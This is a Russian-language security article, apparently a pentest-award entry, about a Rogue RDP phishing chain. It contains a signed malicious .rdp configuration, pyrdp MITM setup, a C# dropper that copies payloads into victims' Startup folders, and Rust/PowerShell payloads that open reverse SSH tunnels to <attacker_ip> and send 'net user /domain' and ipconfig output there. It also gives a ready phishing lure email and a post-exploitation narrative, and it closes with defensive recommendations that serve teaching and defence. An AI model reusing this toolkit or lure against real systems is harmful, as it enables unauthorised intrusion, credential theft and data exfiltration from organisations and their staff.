За пос­ледний год EDR и XDR зна­читель­но повыси­ли уро­вень защиты от фишин­га. Осо­бые труд­ности дос­тавля­ет эвристи­чес­кий ана­лиз. Клас­сичес­кая рас­сылка докумен­тов теперь поч­ти не работа­ет. В качес­тве аль­тер­нативы я выб­рал Rogue RDP как средс­тво дос­тавки и тех­нику Living off the Land Binaries — для пер­вично­го дос­тупа в сети заказ­чика.

Pentest Award

Этот текст получил пре­мию Pentest Award 2024 в катего­рии «Ловись, рыб­ка», пос­вящен­ной фишин­гу. Это сорев­нование еже­год­но про­водит­ся ком­пани­ей Awilix.

warning

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

Кон­цепция LOLBAS зак­люча­ется в исполь­зовании пре­дус­танов­ленных в сис­теме средств средств и при­ложе­ний с циф­ровой под­писью Microsoft для дос­тижений цели при пен­тесте или в хакер­ской ата­ке. Этот метод уже не однократ­но поз­волял зло­умыш­ленни­кам обхо­дить рас­простра­нен­ные средс­тва обна­руже­ния и бло­киров­ки вре­донос­ных прог­рамм.

Rogue RDP
Rogue RDP

Сра­зу отме­чу, что все зас­луги здесь при­над­лежат Май­ку Фел­чу из Dark Optics. Файл RDP содер­жит нас­трой­ки для под­клю­чения к уда­лен­ному рабоче­му сто­лу, и пос­коль­ку боль­шинс­тво кор­поратив­ных сред исполь­зуют RDP для кол­лектив­ной работы, в Microsoft добави­ли мно­жес­тво фун­кций для сов­мес­тно­го исполь­зования фай­лов и прин­теров, дос­тупа к содер­жимому буфера обме­на, устрой­ствам зах­вата аудио и видео, смарт‑кар­там и даже под­клю­чаемым устрой­ствам. Имен­но эти осо­бен­ности я и буду исполь­зовать в качес­тве век­тора получе­ния пер­вично­го дос­тупа.

Для реали­зации Rogue RDP нуж­но соз­дать машину на Windows с белым IP адре­сом. Далее уста­новить WSL (Windows Sub System For Linux) и переза­пус­тить сис­тему:

wsl --install --enable-wsl1

В обо­лоч­ке WSL нуж­но уста­новить python3, certbot и git:

apt update
apt install python3 python3-pip git libaugeas0
pip install certbot

Те­перь нас­тро­им записи DNS и получим для них сер­тификат SSL. Покупа­ем домен и соз­даем A-запись для нашего сер­вера.

С помощью Certbot получа­ем SSL-сер­тификат Let's Encrypt для нашего домена (мы будем исполь­зовать его для под­писания фай­ла RDP и получе­ния боль­шей визу­аль­ной легитим­ности), для это­го исполь­зуем коман­ду в обо­лоч­ке WSL:

certbot certonly --cert-name malrdp -d <your.domain.com> --register unsafely-without-email

Зак­рытый и откры­тый клю­чи сох­ранят­ся в фай­ловой сис­теме WSL:

/etc/letsencrypt/live/YOUR_CERT_NAME/

Те­перь пре­обра­зуем их в фор­мат PFX с помощью OpenSSL:

openssl pkcs12 -inkey /etc/letsencrypt/live/malrdp/privkey.pem -in /etc/letsencrypt/live/malrdp/fullchain.pem -export -out malrdp.pfx

Сле­дующий шаг — уста­новить этот сер­тификат в магазин сер­тифика­тов Windows. Для это­го кли­каем пра­вой кноп­кой мыши на фай­ле PFX, жмем Install PFX и сле­дуем инс­трук­циям. Ког­да сер­тификат уста­нов­лен, получа­ем его отпе­чаток и можем исполь­зовать его для под­писи фай­ла RDP.

Ко­пиру­ем отпе­чаток сер­тифика­та: certmgr.msc → Personal → Certificates → двой­ной клик по нашему сер­тифика­ту → Details → Thumbprint. Он нам понадо­бит­ся для сле­дующе­го шага.

Соз­даем файл RDP, который будем исполь­зовать при рас­сылке, и встав­ляем в него сле­дующее:

screen mode id:i:1
use multimon:i:0
desktopwidth:i:1920
desktopheight:i:1080
session bpp:i:32
winposstr:s:0,1,1904,23,3840,1142
compression:i:1
keyboardhook:i:2
audiocapturemode:i:0
videoplaybackmode:i:1
connection type:i:7
networkautodetect:i:1
bandwidthautodetect:i:1
displayconnectionbar:i:1
enableworkspacereconnect:i:0
disable wallpaper:i:0
allow font smoothing:i:0
allow desktop composition:i:0
disable full window drag:i:1
disable menu anims:i:1
disable themes:i:0
disable cursor setting:i:0
bitmapcachepersistenable:i:1
full address:s:<YOUR_DOMAIN_COM>:443
audiomode:i:0
redirectprinters:i:1
redirectcomports:i:0
redirectsmartcards:i:1
redirectwebauthn:i:1
redirectclipboard:i:1
redirectposdevices:i:0
autoreconnection enabled:i:1
authentication level:i:2
prompt for credentials:i:0
negotiate security layer:i:1
remoteapplicationmode:i:0
alternate shell:s:
shell working directory:s:
gatewayhostname:s:
gatewayusagemethod:i:4
gatewaycredentialssource:i:4
gatewayprofileusagemethod:i:0
promptcredentialonce:i:0
gatewaybrokeringtype:i:0
use redirection server name:i:0
rdgiskdcproxy:i:0
kdcproxyname:s:
enablerdsaadauth:i:0
redirectlocation:i:0
drivestoredirect:s:*

Те­перь под­писыва­ем этот файл:

rdpsign.exe /sha256 YOUR_CERTIFICATE_THUMBPRINT .\<filename>.rdp

Про­веря­ем, что он дей­стви­тель­но под­писан.

Соз­даем нового поль­зовате­ля для под­клю­чения наших жертв:

net user tsuser StrongP4ssw0rd /add
net localgroup administrators tsuser /add

Я при­дер­жива­юсь мне­ния, что фра­за «кра­сота в прос­тоте» иде­аль­но при­мени­ма к фишин­гу, так как мы всег­да хотим умень­шить количес­тво дей­ствий, которые жер­тва дол­жна выпол­нить для успешно­го выпол­нения задуман­ного сце­нария. Ввод пароля при пок­лючении по RDP соз­даст допол­нитель­ные труд­ности в под­клю­чении челове­ка к нашей машине.

Что­бы упростить задачу поль­зовате­лю, при­меним ути­литу pyrdp, которая дей­ству­ет как прок­си‑сер­вер MiTM и поз­волит жер­тве авто­мати­чес­ки прой­ти аутен­тифифи­кацию.

Сно­ва откры­ваем обо­лоч­ку WSL и уста­нав­лива­ем pyrdp:

pipx install pyrdp-mitm

Пе­ред запус­ком необ­ходимо убе­дить­ся, что NLA (Network Level Authentication) отклю­чена для нашего RDP-сер­вера. Откры­ваем Windows Settings → Remote Desktop → Advanced Settings и уби­раем фла­жок Require computers to use Network Level Authentication to connect.

Вто­рой спо­соб отклю­чения — с помощью gpedit.msc. Откры­ваем Computer Configuration → Administrative Templates → Windows Components → Remote Desktop Services → Remote Desktop Session Host → Security и отклю­чаем нас­трой­ку Require user authentication for remote connections by using Network level authentication.

Те­перь все готово к запус­ку pyrdp (пуб­личный и зак­рытый ключ сер­тифика­та необ­ходимы, что­бы жер­тва не получи­ла никаких пре­дуп­режде­ний SSL):

pyrdp-mitm.py 127.0.0.1:3389 -u tsuser -p StrongP4ssw0rd --listen 443 -c /etc/letsencrypt/live/malrdp/fullchain.pem -k
/etc/letsencrypt/live/malrdp/privkey.pem

Про­верим про­цесс под­клю­чения с запущен­ным pyrdp и уви­дим ошиб­ку.

Она фик­сится добав­лени­ем кас­томно­го ста­туса в сле­дующий скрипт:

...pyrdp-mitm/lib/python3.10/site packages/pyrdp/enum/windows.py

Те­перь при запус­ке фай­ла .rdp, мы не получим пре­дуп­режде­ния SSL, и соеди­нение прой­дет без необ­ходимос­ти вво­дить учет­ные дан­ные. Так­же видим, что у сеан­са RDP есть дос­туп к фай­ловой сис­теме хос­та.

На этом эта­пе у нас есть толь­ко файл RDP, который авто­мати­чес­ки под­клю­чит­ся к нашему сер­веру без необ­ходимос­ти вво­дить пароль и будет пре­дос­тавлять фай­ловую сис­тему хос­та жер­твы нашему сер­веру. Есть нес­коль­ко спо­собов исполь­зовать этот уро­вень дос­тупа, лич­но я пред­почитаю добав­лять нашу прог­рамму в пап­ку Startup и ждать выпол­нения при сле­дующем вхо­де в сис­тему.

Да­вай напишем на на C# прос­тую прог­рамму и назовем MalRDP.exe. При запус­ке будет она будет под­клю­чать­ся к фай­ловой сис­теме хос­та жер­твы (в час­тнос­ти, к дис­ку C), искать любую пап­ку Startup, к которой у нее есть дос­туп, и копиро­вать в нее два прос­тых и безобид­ных скрип­та, которые сами по себе не пред­став­ляют никакой угро­зы и не детек­тиру­ются анти­виру­сом. Так­же наша прог­рамма будет копиро­вать нес­коль­ко совер­шенно легитим­ных фай­лов (LOLbins), о которых я рас­ска­жу даль­ше.

Код прог­раммы:

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace MalRDP
{
class Program
{
[DllImport("wtsapi32.dll", SetLastError = true)]
static extern bool WTSLogoffSession(IntPtr hServer, int sessionId, bool bWait);
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
const int SW_HIDE = 0;
const int WTS_CURRENT_SESSION = -1;
static readonly IntPtr WTS_CURRENT_SERVER_HANDLE = IntPtr.Zero;
static void CopyDirectory(string sourceDir, string destDir) {
// Get the subdirectories for the specified directory. DirectoryInfo dir = new DirectoryInfo(sourceDir);
if (!dir.Exists)
{
throw new DirectoryNotFoundException(
"Source directory does not exist or could not be found: " + sourceDir);
}
// If the destination directory doesn't exist, create it. if (!Directory.Exists(destDir))
{
Directory.CreateDirectory(destDir);
}
// Get the files in the directory and copy them to the new location.
FileInfo[] files = dir.GetFiles();
foreach (FileInfo file in files)
{
string tempPath = Path.Combine(destDir, file.Name); file.CopyTo(tempPath, false);
Console.WriteLine($"Copied {file.FullName} to {tempPath}");
}
// Copy subdirectories and their contents recursively. DirectoryInfo[] dirs = dir.GetDirectories(); foreach (DirectoryInfo subdir in dirs)
{
string tempPath = Path.Combine(destDir, subdir.Name); CopyDirectory(subdir.FullName, tempPath); }
}
static void Main(string[] args)
{
var handle = GetConsoleWindow();
ShowWindow(handle, SW_HIDE);
int retry = 0;
string[] user_directories = {};
while (retry < 10)
{
try
{
user_directories =
Directory.GetDirectories(@"\\tsclient\C\Users");
break;
}
catch {
}
System.Threading.Thread.Sleep(500);
retry++;
}
string dropperInPath = @"C:\Netlogon\sshishing2.exe"; string sshingInPath = @"C:\Netlogon\sshishing.exe"; string sshInDirPath = @"C:\Netlogon\OpenSSH-Win64"; string sshKeyInPath = @"C:\Netlogon\rsa";
foreach (string dir in user_directories) {
if (dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("Public") || dir.EndsWith("All Users")) continue;
try
{
string dropperOutPath = $@"
{dir}\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\sshishing2.exe";
string sshingOutPath = $@"
{dir}\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\sshishing.exe";
string sshOutDirPath = $@"{dir}\Pictures\OpenSSH Win64";
string sshKeyOutPath = $@"{dir}\Pictures\rsa"; if (File.Exists(dropperInPath) &&
!File.Exists(dropperOutPath))
{
File.Copy(dropperInPath, dropperOutPath); }
if (File.Exists(sshingInPath) &&
!File.Exists(sshingOutPath))
{
File.Copy(sshingInPath, sshingOutPath); }
if (File.Exists(sshKeyInPath) &&
!File.Exists(sshKeyOutPath))
{
File.Copy(sshKeyInPath, sshKeyOutPath); }
if (Directory.Exists(sshInDirPath) && !Directory.Exists(sshOutDirPath))
{
CopyDirectory(sshInDirPath, sshOutDirPath); }
}
catch (Exception e)
{
}
}
WTSLogoffSession(WTS_CURRENT_SERVER_HANDLE,
WTS_CURRENT_SESSION, false);
}
}
}

Соз­дадим пап­ку C:\Netlogon, и ско­пиру­ем в нее ском­пилиро­ван­ную прог­рамму и осталь­ные фай­лы. Так­же соз­дадим файл tsuser.bat, который прос­то запус­кает MalRDP.exe:

Start "" "C:\\Netlogon\\MalRDP.exe"`

Те­перь уста­новим tsuser.bat в качес­тве скрип­та вхо­да для tsuser. Откры­ваем Computer Management → System Tools → Local Users and Groups → Users, дваж­ды кли­каем по tsuser → Profile и про­пишем tsuser.bat в Logon Script field.

Ког­да жер­тва под­клю­чит­ся к нашему RDP-сер­веру, на нем запус­тится наша прог­рамма, которая смо­жет вза­имо­дей­ство­вать с фай­ловой сис­темой жер­твы, потому что кор­порация Microsoft пре­дос­тавила отличные воз­можнос­ти коду, работа­юще­му в сре­де RDP-сер­вера.

За­пущен­ные отсю­да прог­раммы могут вза­имо­дей­ство­вать с под­клю­чен­ными кли­ента­ми с помощью перенап­равле­ния устрой­ств. Это  поз­воля­ет получить дос­туп к локаль­ным дис­кам, прин­терам и про­чим ресур­сам через уда­лен­ный рабочий стол. Сер­веры могут перечис­лять фай­ловую сис­тему под­клю­чен­ного кли­ента, исполь­зуя пути к пап­кам, вро­де \\tsclient\c\ (диск C), или даже смон­тирован­ные сетевые фай­ловые ресур­сы с помощью такого пути:

\\tsclient\<drive_of_mapped_share>\
 

SSHishing

Пос­ле удач­ного фишин­га, как показы­вает ста­тис­тика, у нас есть кон­троль над компь­юте­ром жер­твы, одна­ко сам по себе он не пред­став­ляет боль­шого инте­реса в рам­ках пен­теста. Это лишь дверь во внут­реннюю инфраструк­туру заказ­чика. Даль­ше в ход идут инс­тру­мен­ты боково­го переме­щения (pivoting), при­мене­ние которых теперь тоже хорошо детек­тиру­ется средс­тва­ми защиты.

SSH пред­лага­ет некото­рые зах­ватыва­ющие воз­можнос­ти в рам­ках нет­радици­онно­го век­тора началь­ного дос­тупа. С его помощью мы и получим желан­ный тун­нель реверс‑прок­си в целевую сеть, в обход средств защиты.

Так как SSH на ста­рых вер­сиях Windows не пре­дус­танов­лен по умол­чанию, при­несем его с собой и положим в пап­ку Pictures, спо­собом опи­сан­ным ранее. Тащить с собой все дол­го, и нам хва­тит лишь двух бинарей: libcrypto.dll; ssh.exe. Ска­чать пор­татив­ную вер­сию мож­но на GitHub.

На VPS, исполь­зуемых для ата­ки, соз­дадим нового поль­зовате­ля pivoting, и сге­нери­руем ему ключ SSH. Копиру­ем пуб­личный ключ в authorized_keys этой учет­ной записи, а при­ват­ный кла­дем в пап­ку C:\Netlogon, на сер­вере Rogue RDP.

Те­перь соз­дадим две безобид­ные прог­раммы: sshishing.exe, sshishing2.exe, которые выпол­нят оставшу­юся часть работы пос­ле перезаг­рузки сис­темы жер­твы.

#![windows_subsystem = "windows"]
std:: process:: os::windows::process::
use { Command, CommandExt}; fn main() {
let _output = Command::new("powershell")
.args(&[
"-Command",
&format!(
"$currentUser = $env:USERNAME; Invoke-Expression "C:\\Users\\$currentUser\\Pictures\\OpenSSH-Win64\\ssh.exe pivoting@<attacker_ip> -N -R 0 -i C:\\Users\\$currentUser\\Pictures\\rsa - o StrictHostKeyChecking=no -o 'PermitLocalCommand=yes' -o
'LocalCommand=C:\\Users\\$currentUser\\Pictures\\OpenSSH-Win64\\ssh.exe -i \\\\<attacker_ip>\\key.pem sshisher@1.1.1.1'""
),
])
.creation_flags(0x08000000) // Set creation flags
.output()
.expect("Failed");
}

Прог­рамма соз­даст реверс‑прок­си тун­нель в целевую сеть. Параметр -R 0 инс­трук­тиру­ет SSH выб­рать дос­тупный порт на уда­лен­ной машине (это необ­ходимо, что­бы иметь воз­можность под­держи­вать нес­коль­ко одновре­мен­ных успешных соеди­нений). Параметр -o StrictHostKeyChecking=no поможет избе­жать пре­дуп­режде­ния о неиз­вес­тном хос­те SSH для под­клю­чения, а -o "LocalCommand=... выпол­нит ука­зан­ную коман­ду на хос­те жер­твы пос­ле успешно­го под­клю­чения. В нашем слу­чае попыта­ется обра­тить­ся к VPS ата­кующих и заб­рать файл (фай­ла может и не быть, а жер­тву будет ждать Responder, с помощью которо­го мы попыта­емся получить хеш жер­твы, так как по ста­тис­тике 20% ком­паний под­верже­ны утеч­ке Net-NTLMv2 при обра­щении к внеш­ним ресур­сам). Инте­рес­но, что ssh.exe может порож­дать cmd.exe и выпол­нять коман­ды, даже если это зап­рещено с помощью GPO.

Вто­рая прог­рамма выпол­нит при­ятный трюк, который поможет соб­рать информа­цию о целевой сети. Она выпол­нит коман­ду и перенап­равит вывод в SSH для записи в файл на уда­лен­ной машине:

#![windows_subsystem = "windows"]
std:: process:: os::windows::process::
use { Command, CommandExt};
fn main() {
let _output = Command::new("powershell.exe")
.args(&[
"-Command",
&format!(
"$currentUser = $env:USERNAME; Invoke-Expression "net user /domain | C:\\Users\\$currentUser\\Pictures\\OpenSSH-Win64\\ssh.exe pivoting@<attacker_ip> -i C:\\Users\\$currentUser\\Pictures\\rsa -o StrictHostKeyChecking=no 'cat >> info2.txt'""
),
])
.creation_flags(0x08000000)
.output()
.expect("Failed");
let _output = Command::new("powershell.exe")
.args(&[
"-Command",
&format!(
"$currentUser = $env:USERNAME; Invoke-Expression "ipconfig | C:\\Users\\$currentUser\\Pictures\\OpenSSH-Win64\\ssh.exe pivoting@<attacker_ip> -i C:\\Users\\$currentUser\\Pictures\\rsa -o StrictHostKeyChecking=no 'cat >> info.txt'""
),
])
.creation_flags(0x08000000)
.output()
.expect("Failed");
}

К сло­ву об укло­нении от средств защиты и безобид­ности наг­рузки, VirusTotal показы­вает 3/71 детек­та, а прос­тая прог­рамма, выпол­няющая whoami — 2/71. При этом мы даже не пытались скрыть наши намере­ния. При желании мож­но свес­ти детек­ты к нулю.

По­ложим обе прог­раммы в пап­ку C:\Netlogon на сер­вере Rogue RDP.

www

Под­робнее с воз­можнос­тями SSH для пен­тесте­ра, мож­но озна­комить­ся в сле­дующих стать­ях: «The SOCKS We Have at Home», SSHishing – Abusing Shortcut Files and the Windows SSH Client for Initial Access.

 

Применение на практике

Опи­сан­ный метод фишин­га показал высокую резуль­татив­ность на реаль­ных про­ектах. Ниже — обра­зец пись­ма:

Ува­жаемые сот­рудни­ки,

Для обес­печения безопас­ного дос­тупа к кор­поратив­ным ресур­сам и поч­товому сер­веру мы тес­тиру­ем новую сис­тему уда­лен­ного дос­тупа по про­токо­лу RDP. Про­сим вас про­верить работос­пособ­ность под­клю­чения по RDP и убе­дить­ся, что вы можете успешно получить дос­туп к необ­ходимым ресур­сам. Инс­трук­ция по исполь­зованию RDP при­лага­ется во вло­жени­ях к пись­му.

В слу­чае воз­никно­вения труд­ностей при под­клю­чении обра­титесь в отдел информа­цион­ной безопас­ности для получе­ния даль­нейшей помощи.

Дан­ное пись­мо содер­жит кон­фиден­циаль­ную информа­цию. Зап­реща­ется пересы­лать дан­ное сооб­щение треть­им лицам без сог­ласова­ния.

Спа­сибо за понима­ние и сот­рудни­чес­тво.

С ува­жени­ем,
Стар­ший инже­нер отде­ла информа­цион­ной безопас­ности.
А.Вил­ликс

Ког­да получа­тель пись­ма под­клю­чил­ся к RDP-сер­веру и перезаг­рузил свой ПК, на VPS появил­ся новый тун­нель реверс‑прок­си, информа­ция о целевой сети и поль­зовате­лях AD.

К моему удив­лению тес­тиру­емая ком­пания вхо­дила в те самые 20%, и Responder пой­мал хеш поль­зовате­ля.

ssh -L 9000:127.0.0.1:39591 root@<pivoting_vps_ip>

Про­кинув нуж­ный уда­лен­ный порт VPS этой коман­дой, я смог при­менять необ­ходимые инс­тру­мен­ты через proxychains.

В резуль­тате ска­ниро­вания сети, нашел­ся ста­рый поч­товый сер­вис, дос­тупный толь­ко изнутри. Разуме­ется, про него забыли адми­нис­тра­торы, и он ока­зал­ся уяз­вим к ProxyNotShell (CVE-2022-41040 и CVE-2022-41082). С помощью утек­шего хеша NTLMv2, я получил учет­ные дан­ные, необ­ходимые для работы экс­пло­ита.

Сдам­пив SAM, SYSTEM и SECURITY, я извлек нес­коль­ко хешей, но они не подош­ли к учет­ным записям при­виле­гиро­ван­ных поль­зовате­лей AD.

Имея пра­ва локаль­ного адми­нис­тра­тора, я получил сох­ранен­ные пароли из бра­узе­ра, сре­ди которых был пароль адми­нис­тра­тора AD. А это уже пол­ная ком­про­мета­ция инфраструк­туры заказ­чика.

 

Рекомендации

Что сде­лать, что­бы избе­жать подоб­ного? Вот основные советы.

  • Нас­тро­ить груп­повые полити­ки (GPO) для пре­дот­вра­щения редирек­та устрой­ств при под­клю­чении к уда­лен­ному рабоче­му сто­лу (RDP).
  • Заб­локиро­вать рас­ширения .rdp для элек­трон­ной поч­ты.
  • Заб­локиро­вать под­клю­чения RDP, выходя­щие за периметр кор­поратив­ной сети.
  • Обу­чить сот­рудни­ков рас­позна­вать фишинг.
  • Нас­тро­ить регуляр­ный монито­ринг и аудит сетевой активнос­ти для обна­руже­ния и реаги­рова­ния на подоз­ритель­ное поведе­ние, свя­зан­ное с ата­ками на утеч­ку NTLM.
  • Ог­раничить исхо­дящий NTLM тра­фик на внеш­ние ресур­сы, за пре­дела­ми кор­поратив­ной сети.
  • Ог­раничить исхо­дящий SSH тра­фик на внеш­ние ресур­сы, за пре­дела­ми кор­поратив­ной сети.
  • При­менить пра­вила для выяв­ления подоз­ритель­ного поведе­ния при запус­ке ssh.exe с парамет­рами: PermitLocalCommand и LocalCommand.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии